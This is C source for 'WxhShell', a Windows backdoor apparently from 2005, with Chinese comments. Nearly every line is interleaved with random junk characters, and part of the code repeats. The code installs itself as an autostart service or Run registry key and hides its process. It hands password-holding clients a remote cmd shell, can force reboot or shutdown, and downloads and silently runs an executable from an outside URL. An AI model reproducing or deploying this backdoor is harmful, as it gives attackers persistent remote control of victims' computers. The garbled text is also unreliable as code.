PROCESS_BASIC_INFORMATION pbi; +zn207.` BY^5z<^. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VyL|d^'f_ if(NULL == hInst ) return 0; J?N9*ap) o@g/,V $ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s.G6?1VXlY g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jW!)5(B[A NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
9
]W4o" w_eUU)z if (!NtQueryInformationProcess) return 0; "sU ~| [O"8Tzr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qo" _w%{ if(!hProcess) return 0; z("Fy Um'r6ty if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !4l\*L !~~j&+hK\ CloseHandle(hProcess); v<U +&D{ M~&X?/8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >E3 lY/[ if(hProcess==NULL) return 0; <<[hZ$. 'U'#_mYG HMODULE hMod; *=ymK* char procName[255]; r@m2foaO unsigned long cbNeeded; 2r|!:^'?W wk"zpI7L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k_<8SG+` #XlE_XD CloseHandle(hProcess); `Gp!Y _C97G& if(strstr(procName,"services")) return 1; // 以服务启动 oPA
[vY fCxF3m(O return 0; // 注册表启动 !1\jD } aY7.<p*a ?nAKB5= // 主模块 3qc o2{nz int StartWxhshell(LPSTR lpCmdLine) t,yzqn
{ 2i3& 3oz]O SOCKET wsl; eZWR)+aq BOOL val=TRUE; @j Y_^8#S int port=0; `i)&nW)R struct sockaddr_in door; |ozlaj TGJ\f if(wscfg.ws_autoins) Install(); zUhJr$N$ WrGz` port=atoi(lpCmdLine); f{Dc R" br9`77J8 if(port<=0) port=wscfg.ws_port; >O{/%(9 uF=x o`=| WSADATA data; $ (gR^L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @GiR~bKZ $iblLZhj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t[ZumQ@HC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !F|iL door.sin_family = AF_INET; !B3lsXLSY door.sin_addr.s_addr = inet_addr("127.0.0.1"); hoQ?8}r: door.sin_port = htons(port); c.\J_^ fii\&p7z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -^JGa{9* closesocket(wsl); *I}_B\kY return 1; *G{Zo*2<
i } Nh[{B{k Uieg4I ro if(listen(wsl,2) == INVALID_SOCKET) { *ppb4R;CW closesocket(wsl); ;#$zHR return 1; H?=D, } plY`lqm Wxhshell(wsl); *0^t;A+ WSACleanup(); =/Dp* U&|$B|[ return 0; PUN.nt o\luE{H
.? } H5N(MihT dIo|i,- // 以NT服务方式启动 n>dM OQb VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "p\XaClpz { IrRn@15, DWORD status = 0; adJoT-8P6 DWORD specificError = 0xfffffff; LQMVC^G %-4e8d74/ serviceStatus.dwServiceType = SERVICE_WIN32; W&>+~A serviceStatus.dwCurrentState = SERVICE_START_PENDING; lE54RX}e4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e< Ee2pGX serviceStatus.dwWin32ExitCode = 0; mP)<;gm, serviceStatus.dwServiceSpecificExitCode = 0; H\kqmPl& serviceStatus.dwCheckPoint = 0; f-\l<o( serviceStatus.dwWaitHint = 0; wBcDL/(> y^ C;?B< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *4zVK/FJ if (hServiceStatusHandle==0) return; Hc@Z7eQ3^ r[$Qtj Q status = GetLastError(); c3lfmTT6^ if (status!=NO_ERROR) |yI?}zyR { w?AE8n$8 serviceStatus.dwCurrentState = SERVICE_STOPPED; Oz9k.[j( serviceStatus.dwCheckPoint = 0; ubhem(p# serviceStatus.dwWaitHint = 0; +{/zP{jH serviceStatus.dwWin32ExitCode = status; r,6~?hG] serviceStatus.dwServiceSpecificExitCode = specificError; <EI'N0~KG SetServiceStatus(hServiceStatusHandle, &serviceStatus); T
T0O % return; IEzZ$9,A5 } v]*W*; uF T\a= serviceStatus.dwCurrentState = SERVICE_RUNNING; $ZDh8
*ND serviceStatus.dwCheckPoint = 0; ,>(M5\Z/c serviceStatus.dwWaitHint = 0; H[x 9 7r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T^GdN_qF } 4(JxZ49 .)Se-' // 处理NT服务事件,比如:启动、停止 r _r$nl VOID WINAPI NTServiceHandler(DWORD fdwControl) q9Y0Lk { UhCd, switch(fdwControl) E"Xi { ,ASY
&J5)7 case SERVICE_CONTROL_STOP: =]E1T8| serviceStatus.dwWin32ExitCode = 0; 4PUM.% serviceStatus.dwCurrentState = SERVICE_STOPPED; AmSJ!mTd8o serviceStatus.dwCheckPoint = 0; iA ZtV'VQ) serviceStatus.dwWaitHint = 0; vS<;:3 { q0y?$XS SetServiceStatus(hServiceStatusHandle, &serviceStatus); /KKX;L[D( } oRu S_X return; j7-#">YL case SERVICE_CONTROL_PAUSE: rI]:| k serviceStatus.dwCurrentState = SERVICE_PAUSED; )KRO=~Y break; ]Wa,a
T' case SERVICE_CONTROL_CONTINUE: n.lp
ena serviceStatus.dwCurrentState = SERVICE_RUNNING; n?,fF( break; <R{\pz2w case SERVICE_CONTROL_INTERROGATE: L761m7J]B break; V43JY_: }; C-6+ZIk4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); `%ymg8^ } 00pHnNoxW 1shvHmrV // 标准应用程序主函数 N&>D/Z;" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QW2% Gv: { \iVYhl <E\BKC%M // 获取操作系统版本 sZ4H\ OsIsNt=GetOsVer(); r9vC&pWZ GetModuleFileName(NULL,ExeFile,MAX_PATH); |E7]69=P 5?vIkf // 从命令行安装 j#p3c if(strpbrk(lpCmdLine,"iI")) Install(); 6
*8G e % 9WWBxS // 下载执行文件 U |4%ydG if(wscfg.ws_downexe) { *gT
TI;: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]c5GG!E-g WinExec(wscfg.ws_filenam,SW_HIDE); <bTa88,) } U3U eTa_ x@k9]6/zs if(!OsIsNt) { rfPJBD{Ve // 如果时win9x,隐藏进程并且设置为注册表启动 *p WswcV/ HideProc(); <g %xo" StartWxhshell(lpCmdLine); |R[m&uOib } YT:5J%" else cL
WM]\Y if(StartFromService()) 9Pb0Olh // 以服务方式启动 uPp(l4(+ StartServiceCtrlDispatcher(DispatchTable); ohh 1DsB else fg1 zT~ // 普通方式启动 [w4z)! StartWxhshell(lpCmdLine); pI^n("| WD)[Ac[ return 0; [D?E\Nkk } er<~dqZ}] gh
0\9;h 6a,YxR\ (?3(=+t =========================================== ?NwFpSB2 ,,iQG' * "M*\,IH '/p5tw8 I%s/h4x^B[ 7v:;`6Jb " %Mu dc WMC6dD_6e #include <stdio.h> 4v?S`w:6 #include <string.h> {l1;&y? #include <windows.h> hmi15VW #include <winsock2.h> ``\H'^{B #include <winsvc.h> HU'E}8%t6 #include <urlmon.h> FJ[(dGKeE a[JgR /E@x #pragma comment (lib, "Ws2_32.lib") u@|yw) #pragma comment (lib, "urlmon.lib") # \M<6n{ @rdC/=Y[ #define MAX_USER 100 // 最大客户端连接数 fAm2ls7c #define BUF_SOCK 200 // sock buffer 4@Qq5kpk* #define KEY_BUFF 255 // 输入 buffer $H9xM }Ag2c; aaq #define REBOOT 0 // 重启 lwB!ti #define SHUTDOWN 1 // 关机 2]'ozs$|v OL=b hZ #define DEF_PORT 5000 // 监听端口 9!OpW:bR| `<Ftn #define REG_LEN 16 // 注册表键长度 K4tX4U[Z #define SVC_LEN 80 // NT服务名长度 D *tBbV 5u!cA4e" // 从dll定义API uJ$"2<O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v;A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f;Dz(~hw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ["7}u^z@<+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <*\J 6:^n Tv KX8 m" // wxhshell配置信息 aG ,uF struct WSCFG { - t+Mh. int ws_port; // 监听端口 WV% KoM,% char ws_passstr[REG_LEN]; // 口令 (+@.L7>m+t int ws_autoins; // 安装标记, 1=yes 0=no )Qc$UI8L char ws_regname[REG_LEN]; // 注册表键名
e?7paJ char ws_svcname[REG_LEN]; // 服务名 prWid3} char ws_svcdisp[SVC_LEN]; // 服务显示名 t&oNJq{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 l%IOdco# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i>~?XVU int ws_downexe; // 下载执行标记, 1=yes 0=no D'&LwU,o char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %|I|Mc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t Z%?vY~! `l}-S |a }; L9.#/%I\ C+mU_g> // default Wxhshell configuration VuY.})+J: struct WSCFG wscfg={DEF_PORT, kmS8>O "xuhuanlingzhe", ev3x*}d0 1, wfdFGoy( "Wxhshell", 3,[2-obmi "Wxhshell", qq`RfZjL "WxhShell Service", \z{Y(dS "Wrsky Windows CmdShell Service", M Q6Y^,B "Please Input Your Password: ", ,y >Na{@Y 1, i~;8'>:|,M "http://www.wrsky.com/wxhshell.exe", 4|(?Wt)5 "Wxhshell.exe" W< n`[ }; 9NT;^K^I _pS%tPw // 消息定义模块 0b4OJ[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t'J
fiGM char *msg_ws_prompt="\n\r? for help\n\r#>"; }:%pOL n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q2Kn3{ char *msg_ws_ext="\n\rExit."; jz)H?UuDY char *msg_ws_end="\n\rQuit."; |h7v}Y char *msg_ws_boot="\n\rReboot..."; A=$oYBB char *msg_ws_poff="\n\rShutdown..."; W)#`4a^xj7 char *msg_ws_down="\n\rSave to "; Y!L jy
[/ )=D&NO67Pq char *msg_ws_err="\n\rErr!"; b>i=",i\ char *msg_ws_ok="\n\rOK!"; nqBuC (Ka#6
char ExeFile[MAX_PATH]; CytpL`&^] int nUser = 0; +@Y[i."^J HANDLE handles[MAX_USER]; dc05,Bz int OsIsNt; {OOt+U! lK4+8VZ SERVICE_STATUS serviceStatus; 4(R2V] SERVICE_STATUS_HANDLE hServiceStatusHandle; k mjm6 _a&|,ajy> // 函数声明 E(@;p%: int Install(void); Q-F9oZ*0 int Uninstall(void); "7HB3?2>W int DownloadFile(char *sURL, SOCKET wsh); G
DV-wPX int Boot(int flag); L9T u>4 void HideProc(void); {9Y'v int GetOsVer(void); }]I?vyQ#V int Wxhshell(SOCKET wsl); $<v_Vm?6d void TalkWithClient(void *cs); <IVz mzpL int CmdShell(SOCKET sock); yShHFlO= int StartFromService(void); (5> ibe int StartWxhshell(LPSTR lpCmdLine); o$O,#^ >-P0wowL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K +~v<F VOID WINAPI NTServiceHandler( DWORD fdwControl ); k3 l K(gj6SrjV // 数据结构和表定义 *3$,f>W^ SERVICE_TABLE_ENTRY DispatchTable[] = HhvG#Sam! { ^aXBt {wscfg.ws_svcname, NTServiceMain}, X2cR+Ha0 {NULL, NULL} "b
0cj }; h6*`V rg,63r // 自我安装 >v[(w1?rX int Install(void) 9HX+sB
M { A-5+# char svExeFile[MAX_PATH]; Q7|13^|C HKEY key; !qlGt)G3 strcpy(svExeFile,ExeFile); $1+K}tP 5F"?]'*/ // 如果是win9x系统,修改注册表设为自启动 Nd!VR+IZ if(!OsIsNt) { vi8~j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F:S,{&jB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W[Bu&?h$ RegCloseKey(key); "NU".q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?N*0S'dY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c~xo@[NaS RegCloseKey(key); yf) `jPM1< return 0; -`OR6jd } ` a>vPW } v=tj.Vg } &._!)al else { 3Mx@ ]%|WE // 如果是NT以上系统,安装为系统服务 bZ.N7X PH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?Z>.G{Wm@ if (schSCManager!=0) "!tw
,Gp { 6[.Mx}h6 SC_HANDLE schService = CreateService A+I&.\QAR ( J\3} il
N schSCManager, #[y<h3f] wscfg.ws_svcname, VA'X!(Cv wscfg.ws_svcdisp, ,:4DN&< SERVICE_ALL_ACCESS, t1jlxK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xXZKj SERVICE_AUTO_START, pFTlhj)1 SERVICE_ERROR_NORMAL, n=? 0g;1! svExeFile, "<x~{BN? NULL, lGUV(D NULL, oDP((I2- NULL, </gp3WQ. NULL, X5Y
`(/V NULL e({fY.)SGo ); S2E HmE& if (schService!=0) hw$c@:pW; { JGcD{RU| CloseServiceHandle(schService); _I_?k+#WFe CloseServiceHandle(schSCManager); 1~DD9z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A&c@8 strcat(svExeFile,wscfg.ws_svcname); ]^9*
t,{9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O}_a3>1DY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UMuuf6 RegCloseKey(key); EWIc|b: return 0; 3]<re{)J9O } ;#s}b1 } liqR#< CloseServiceHandle(schSCManager); DBJA}Cw } lVdT^"~3 } *3O >J" zN+*R;Ds return 1; xs!g{~V{ } K3:|Tc( T_?nd T2 // 自我卸载 4iNbK~5j int Uninstall(void) 99"[b { ~59`S#ax/l HKEY key; M+;P?|a 12sD|j if(!OsIsNt) { V.ji
_vX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] 5v4^mk RegDeleteValue(key,wscfg.ws_regname); `n`"g<K)Q RegCloseKey(key); 'd#\7J>d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7TkxvSL X RegDeleteValue(key,wscfg.ws_regname); vM7v f6 RegCloseKey(key); ;Q=GJ5`B return 0; PKR $I } }l(m5 } $i:||L^8p } ouVjZF@kS else { ;,=h59` z5`8G =A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [z% ?MIT if (schSCManager!=0) zk5=Opmvh { O R<"LTCL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4su_;+] if (schService!=0) f{Fe+iPc { 'B (eMnLg if(DeleteService(schService)!=0) { :X1cA3c! CloseServiceHandle(schService); b"nG-0JR CloseServiceHandle(schSCManager); (X(1kj3 return 0; dA1
C)gLi } dHG Io CloseServiceHandle(schService); M6]0Y@@> } /Pn.)Lxfl CloseServiceHandle(schSCManager); 0UGiPH,() } B9e.-Xaf } 'DzBp 8.CKH4h return 1; f[Fgh@4cj } aLKMDiT v0`qMBr1y // 从指定url下载文件 #_?TIY:h int DownloadFile(char *sURL, SOCKET wsh) 'sRg4?PT { cRh\USS HRESULT hr; C~{NKMeC/m char seps[]= "/"; K2xH'v
O ( char *token; .vN%UNu char *file; 2K]IlsMO& char myURL[MAX_PATH]; Y:%m;b$] char myFILE[MAX_PATH]; (@ fa~?v>@ @1v3-n= strcpy(myURL,sURL); e)HhnN@ token=strtok(myURL,seps); 1iJ0Hut}d while(token!=NULL) o)tKH@`vE { dXiE.Si file=token; 1xO!w+J# token=strtok(NULL,seps); >;
&s['H } CYt jY~ *#lBQBH|. GetCurrentDirectory(MAX_PATH,myFILE); -".kH<SWv strcat(myFILE, "\\"); mA(nyF strcat(myFILE, file); LAv:+o(m/ send(wsh,myFILE,strlen(myFILE),0); "Su
b4F` send(wsh,"...",3,0); jVad)2D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E+}GxFG-: if(hr==S_OK) ;GE26Ymqly return 0; &@YFje6Lcm else d&[iEU return 1; AozmO eC6>yD6D } \fK47oV -(\1r2
Y // 系统电源模块 HKTeqH_: int Boot(int flag) [x!i*
rW3 { ^^7L"je]g HANDLE hToken; s~=KhP~ TOKEN_PRIVILEGES tkp; qr)v'aC3 =[]x\&@t if(OsIsNt) { 1l/AKI(! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); URYZV8=B~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =U4f}W; tkp.PrivilegeCount = 1; &|Lh38s@$# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K,f* SXM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \G$QNUU if(flag==REBOOT) { @[MO,J&h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) + "cRhVR return 0; Hp btj } C-llq`(d else { R=-+YBw7/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *8$>Whr return 0; t=n+3`g } "jL1.9%" } tJ=3'?T_k else { #^|| ]g/N if(flag==REBOOT) { (n=9c%w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m`hGDp3 return 0; -#LjI. } CO-Iar else { 5>k>L*5J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )@}A
r return 0; X*pZNz&E } T/[f5?p } lij B#1<8* ]SFWt/< return 1; ,{k<JA{ } Y!SE;N& }>2t&+v+ // win9x进程隐藏模块 JC=dYP} void HideProc(void) di7A/B { Bk,2WtVX r"R(}`<, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]>5T}h if ( hKernel != NULL ) {!L=u/qs" { ^_@r.y] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^6Yd} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6\NvG,8 FreeLibrary(hKernel); tcZa~3. } WFouoXlG0 Te# ]Cn| return; 0HqPyM13Q } (Aorx #z P{?;T5ap6 // 获取操作系统版本 G.E[6G3 int GetOsVer(void) aX|g S\zx { Y?<)Dg.[ OSVERSIONINFO winfo; p"2m90IO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cl,9yU)1n GetVersionEx(&winfo); >-b&v $ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4S tjj!ew return 1; 0; 7#ji
else Z a!
gbt return 0; ~p:?QB>1]
} 6
jmrD yq?]V7~ // 客户端句柄模块 eNtf#Rqym int Wxhshell(SOCKET wsl) FC{})|yh
} { e,(a6X SOCKET wsh; Z:!IX^q;}n struct sockaddr_in client; Mm5c8[
DWORD myID; 'xIyGDe Pb#P`L7OB while(nUser<MAX_USER) sm0fAL { "?35C
! int nSize=sizeof(client); F%
`zs\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E, GN| l if(wsh==INVALID_SOCKET) return 1; oB
p3JX9_f ["u#{>(X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 58: :h.: if(handles[nUser]==0) OZf6/10O/ closesocket(wsh); Zae.MO^C! else uQnT[\k? nUser++; S<"oUdkz } %)?`{O~ h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @Gt`Ds9= Or7
mD return 0; &=X.*H% } |jsb@ SrF x_n // 关闭 socket |d[5l^6 void CloseIt(SOCKET wsh) dN< ,%}R { $E\^v^LW closesocket(wsh); w9MoT.kI} nUser--; M7rIi\4K4 ExitThread(0); l-<`m#/v } Sm)u9 V4|uas{0I: // 客户端请求句柄 5X#E@3g5 void TalkWithClient(void *cs) HJIC<U { \|.7-X Tg0CE60"
SOCKET wsh=(SOCKET)cs; X d3}Vn= char pwd[SVC_LEN]; $#e1SS32 char cmd[KEY_BUFF]; wPX*%0] char chr[1]; Hkege5{ int i,j; ##cnFQCB ]W/>Ldv while (nUser < MAX_USER) { 3@_Elu zyFUl% if(wscfg.ws_passstr) { Rb EKP(uw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3#c3IZ-; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YHB9mZi //ZeroMemory(pwd,KEY_BUFF); gv|"OlB i=0; r{_ >ldjq while(i<SVC_LEN) { I`T1Pll i7 w(S3a // 设置超时 H}/05e fd_set FdRead; B2Z_]q$n* struct timeval TimeOut; .XS9,/S FD_ZERO(&FdRead); MLr-,
"gs FD_SET(wsh,&FdRead); Y1)!lTG TimeOut.tv_sec=8; t0Mx!p'T TimeOut.tv_usec=0; o:~LF6A- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bWmw3w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j/KO|iNL2 LHkQ'O0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1& ^?U{ pwd=chr[0]; '#.#$8l if(chr[0]==0xd || chr[0]==0xa) { "g0(I8 pwd=0; qtMD CXZ^n break; Rko M~`CT } .UQE{.? i++; 2'] KTHm } /TV=$gB` Dvc&RG // 如果是非法用户,关闭 socket D d,2;#_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [M%._u, } dg_G s>?2 ac8P\2{" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A6!F@Ic[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j.%K_h?V5 b?T while(1) { oyvKag n}?wVfEy ZeroMemory(cmd,KEY_BUFF); G^;>8r 5T?-zFMM // 自动支持客户端 telnet标准 fuMJdAuY7d j=0; Pw[g while(j<KEY_BUFF) { 2VoKr) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _>yoX cmd[j]=chr[0]; lz<]5T| if(chr[0]==0xa || chr[0]==0xd) { oM1Qh? cmd[j]=0; m@Rtlb break; Ba'LRz } Bd~1P/ j++; )Xtnk } Vzl^Ka' VIJ<``9[ // 下载文件 8gy_Yj&{P if(strstr(cmd,"http://")) { gckI.[!b send(wsh,msg_ws_down,strlen(msg_ws_down),0); @~ETj26U' if(DownloadFile(cmd,wsh)) y[?-@7i send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~xLJe`"JUx else %$5H!!~o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7.g[SBUOG } jMNU ?m: else { DA&?e~L&H Np+&t} switch(cmd[0]) { hrGH}CU" @]aOyb@ // 帮助 "vZ!vt#'Y case '?': { Qnd5X`jF# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RsJ6OFcWV break; D B E4& } ^Yj xeNY // 安装 Bun><Y
@ case 'i': { 5L,}e<S$ if(Install()) sarq`%zrk send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xx:F)A8O else \</b4iR)LT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Go 7"j break; r.ZF_^y}+ } jhbonuV_ // 卸载 qqrq11W case 'r': { ]n."<qxeT if(Uninstall()) ::FS/Y]Fg send(wsh,msg_ws_err,strlen(msg_ws_err),0); :>Rv!x` else PjA6Ji;Hu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -#!x|ne break; /,=@8k!t? } { FZ=olZ // 显示 wxhshell 所在路径 9}a_:hAy/ case 'p': { 3I\n_V< char svExeFile[MAX_PATH]; 7\FXz'hA strcpy(svExeFile,"\n\r"); OyV<u@[i strcat(svExeFile,ExeFile); W6 H,6v send(wsh,svExeFile,strlen(svExeFile),0); l<0}l^C. break; X4l@woh%
} ^j#rZ;uc
// 重启 ?;/^Ya1;Z case 'b': { $Iv2j">3) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W"^wnGa@a if(Boot(REBOOT)) Tou/5?#%e send(wsh,msg_ws_err,strlen(msg_ws_err),0);
]$b[`g& else { b306&ZVEk closesocket(wsh); B(xN Gs ExitThread(0); M" ^PW,k } ./Q, break; PxH72hBS } D?XM,l+ // 关机 JRo?s~Ih case 'd': { B#/Q'V send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b4^`DHRu6 if(Boot(SHUTDOWN)) ;q N+^;,2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); *HEuorl else { >D201&*G% closesocket(wsh); )jrV#/m9 ExitThread(0); /|6;Z}2 } g~(E>6Y break; 2^8%>, } jReXyRmo({ // 获取shell Xp0F
[>h case 's': { 34\(7JO CmdShell(wsh); x#Sqn# closesocket(wsh); F 8B#}%JE ExitThread(0); (Jz;W<E break; pPd#N'\* } 9]q:[zm^ // 退出 yR(x+Gs{] case 'x': { ?QE,;QtpK send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |2{wG4 CloseIt(wsh); >4t+:Ut: break; ?-^~f } OS8q( 2z?s // 离开 ,#pXpAz/ case 'q': { 0RoU}r@z4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Q+g({
closesocket(wsh); /0Ax*919j WSACleanup(); Z+@2"%W exit(1); E Cyyl break; U8
nH;}i } +TXX$)3% } "etPT@gF } 2RSt)3!}, %2v4<icvq // 提示信息 rtc9wu if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l\C.",CEcc } =UV`.d2[ } _3ZYtmn. >$4d7.^hb/ return; !"Oh36 } cTG|fdgMW IIbYfPiO // shell模块句柄 h<$MyN4]g int CmdShell(SOCKET sock) i[ mEi| { }sxYxn~ STARTUPINFO si; thhwN
A ZeroMemory(&si,sizeof(si)); Dc,I7F|% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'q`^3&E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cFJY^A PROCESS_INFORMATION ProcessInfo; E~6c -Lw char cmdline[]="cmd"; vh$%9ed CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hro-d1J7 return 0; Dd\jHF>u } R
rda# h^ >3Eo@J,?d // 自身启动模式 I"GB<oB int StartFromService(void) EVGt 5z { {E@Lft- typedef struct A,a.8!*}vd { S_Wrw z DWORD ExitStatus; 8SGo9[U2 DWORD PebBaseAddress; @H=:)*; DWORD AffinityMask; x@[rms
DWORD BasePriority; _fKou2$yz ULONG UniqueProcessId; xoN3 ULONG InheritedFromUniqueProcessId; i*Z"Me } PROCESS_BASIC_INFORMATION; -PfX0y9n mGK|ihYu PROCNTQSIP NtQueryInformationProcess; sfNE68I2 !4X
f~P static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I"ok&^t^} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f.9SB
R#I0|;q4|p HANDLE hProcess; 1]p ZrBh"E PROCESS_BASIC_INFORMATION pbi; :>C2gS@ P(f0R8BE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NGbG4-w- if(NULL == hInst ) return 0; H5Io{B%= e7sp =I, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <P=twT;P g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qHrc9fB NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +8Rg F p"KFJ if (!NtQueryInformationProcess) return 0; ()6wvu} >7QvK3S4% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =Lf,?"S if(!hProcess) return 0; 6|PrX
L& eLfk\kk]Pc if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XMxSQ B1 H<PtAYFS CloseHandle(hProcess); 0|{u{w@!`
@fl-3q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~
